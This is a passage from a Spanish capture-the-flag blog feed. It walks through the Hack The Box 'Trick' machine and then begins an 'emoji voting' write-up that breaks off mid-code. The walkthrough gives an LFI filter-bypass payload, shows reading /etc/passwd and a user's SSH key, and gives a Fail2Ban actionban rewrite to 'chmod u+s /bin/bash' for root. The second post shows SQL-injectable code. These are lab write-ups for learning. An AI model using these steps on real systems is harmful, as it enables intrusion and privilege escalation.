&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8080-b5a8-dd586092195f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; Enemigosss&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; SuperGucciRainbowCake&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-808d-8f84-f66b2f2ada93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante &lt;em&gt;fuzzing&lt;/em&gt; de vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804e-912a-decb0b655520.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-preprod-marketing"&gt;LFI en Preprod-Marketing&lt;/h3&gt;
&lt;p&gt;El fuzzing revela otro subdominio: &lt;code&gt;preprod-marketing.trick.htb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8099-8cd9-c2bb698aaaa3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al navegar por esta web, observo que las páginas se cargan mediante un parámetro &lt;code&gt;page&lt;/code&gt;:
&lt;code&gt;http://preprod-marketing.trick.htb/index.php?page=services.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Esto es un indicador potencial de &lt;strong&gt;LFI&lt;/strong&gt;. Vamos a explorar…&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804b-a832-f5642c21a818.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pruebo cargas útiles básicas (&lt;code&gt;../../etc/passwd&lt;/code&gt;), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que &lt;code&gt;....//&lt;/code&gt; funciona para saltar directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80d0-afbd-c5baa1544b41.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.&lt;/p&gt;
&lt;p&gt;Consigo leer el &lt;code&gt;/etc/passwd&lt;/code&gt; y confirmo la existencia del usuario &lt;code&gt;michael&lt;/code&gt;. Dado que tengo LFI, intento leer su clave privada SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8054-9078-cb1d6e4e712d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Copio la clave (&lt;code&gt;id_rsa&lt;/code&gt;), le doy los permisos adecuados (&lt;code&gt;chmod 600&lt;/code&gt;) y me conecto como &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80eb-b923-e20c8da59aae.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ya estoy dentro. Capturo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="enumeración-de-sudoers"&gt;Enumeración de Sudoers&lt;/h3&gt;
&lt;p&gt;Reviso los permisos de sudo del usuario &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) gid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) groups=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael),&lt;span style="color:#ae81ff"&gt;1002&lt;/span&gt;(security)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Matching Defaults entries &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; michael on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/local/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User michael may run the following commands on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (root) NOPASSWD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedo reiniciar el servicio &lt;strong&gt;Fail2Ban&lt;/strong&gt; como root sin contraseña.&lt;/p&gt;
&lt;h3 id="abuso-de-configuración-de-fail2ban"&gt;Abuso de configuración de Fail2Ban&lt;/h3&gt;
&lt;p&gt;Usamos esta guia que explica que es este ejecutable.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server"&gt;https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;code&gt;Fail2ban&lt;/code&gt; scans log files (e.g. &lt;strong&gt;/var/log/apache/error_log&lt;/strong&gt;) and &lt;strong&gt;bans IPs&lt;/strong&gt; that show the malicious signs (too many password failures, seeking for exploits, etc.)”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Observo que el grupo &lt;code&gt;security&lt;/code&gt; (al que pertenezco: &lt;code&gt;groups=1001(michael),1002(security)&lt;/code&gt;) tiene permisos de escritura sobre los archivos de configuración en &lt;code&gt;action.d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b3-8c68-cb16d4674f5f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Existe un objeto principal el cual contiene la configuración global de los baneos, reside en &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El archivo &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; define que tras &lt;strong&gt;5 intentos fallidos&lt;/strong&gt;, la IP será baneada ejecutando una acción. La acción por defecto suele implicar &lt;code&gt;iptables-multiport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-809e-970f-cf374ddde061.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploaramos ese archivo &lt;code&gt;iptables-multiport.conf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/etc/fail2ban/action.d$ cat iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fail2Ban configuration file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Author: Cyril Jaquier&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Modified by Yaroslav Halchenko for multiport banning&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INCLUDES&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;before = iptables-common.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Definition&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the start of Fail2Ban.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstart = &amp;lt;iptables&amp;gt; -N f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -A f2b-&amp;lt;name&amp;gt; -j &amp;lt;returntype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -I &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the end of Fail2Ban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstop = &amp;lt;iptables&amp;gt; -D &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;actionflush&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -X f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actioncheck&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once before each actionban command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actioncheck = &amp;lt;iptables&amp;gt; -n -L &amp;lt;chain&amp;gt; | grep -q &lt;span style="color:#e6db74"&gt;&amp;#39;f2b-&amp;lt;name&amp;gt;[ \t]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when banning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = &amp;lt;iptables&amp;gt; -I f2b-&amp;lt;name&amp;gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionunban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when unbanning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionunban = &amp;lt;iptables&amp;gt; -D f2b-&amp;lt;name&amp;gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Init&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edito el archivo &lt;code&gt;/etc/fail2ban/action.d/iptables-multiport.conf&lt;/code&gt;. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (&lt;code&gt;actionban&lt;/code&gt;) por uno que me otorgue permisos de root.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv iptables-multiport.conf .old
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp .old iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto podemos modificar el archivo. ya que estamos dentro del grupo &lt;code&gt;security&lt;/code&gt; que nos permite mover archivos y reescribirlos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = chmod u+s /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ejecución"&gt;Ejecución&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reinicio Fail2Ban para aplicar la configuración maliciosa:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Podemos ver en el archivo&lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; cuantos intentos tenemos antes del baneo, son 5.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80ba-bdb2-f3d41474a693.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta &lt;strong&gt;5 veces&lt;/strong&gt; para disparar la regla de baneo.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh msassam@trick.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# (Fallo la contraseña 5 veces intencionalmente)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Una vez activado el &amp;ldquo;ban&amp;rdquo;, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-803f-8412-dfb4b0a0cb3e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos shell como root!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80f2-8555-f8137301f84c.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>emoji voting (Easy)</title><link>https://synacklabs.github.io/posts/emojivoting/</link><pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/emojivoting/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Este endpoint (/api/list) permite controlar el parámetro &lt;code&gt;order&lt;/code&gt; que se inserta en un &lt;code&gt;ORDER BY&lt;/code&gt;, lo que abre la puerta a una &lt;strong&gt;SQL Injection ciega (boolean-based)&lt;/strong&gt;. A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna &lt;code&gt;flag&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="código-vulnerable-punto-de-entrada"&gt;Código vulnerable (punto de entrada)&lt;/h3&gt;
&lt;p&gt;En el backend se construye una query concatenando &lt;code&gt;order&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;async getEmojis(order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // TOOD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; add parametrization
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; new Promise(async (resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let query = `SELECT * FROM emojis ORDER BY ${ order }`;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(await this.db.all(query));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reject(e);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y el endpoint recibe &lt;code&gt;order&lt;/code&gt; desde el body:&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Este endpoint (/api/list) permite controlar el parámetro &lt;code&gt;order&lt;/code&gt; que se inserta en un &lt;code&gt;ORDER BY&lt;/code&gt;, lo que abre la puerta a una &lt;strong&gt;SQL Injection ciega (boolean-based)&lt;/strong&gt;. A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna &lt;code&gt;flag&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="código-vulnerable-punto-de-entrada"&gt;Código vulnerable (punto de entrada)&lt;/h3&gt;
&lt;p&gt;En el backend se construye una query concatenando &lt;code&gt;order&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;async getEmojis(order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // TOOD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; add parametrization
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; new Promise(async (resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let query = `SELECT * FROM emojis ORDER BY ${ order }`;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(await this.db.all(query));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reject(e);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y el endpoint recibe &lt;code&gt;order&lt;/code&gt; desde el body:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;router.post(&lt;span style="color:#e6db74"&gt;&amp;#39;/api/list&amp;#39;&lt;/span&gt;, (req, res) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let { order } = req.body;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; db.getEmojis(order)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .then(data =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.json(data);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Seems like there are no emojis&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;((e) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Something went wrong&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
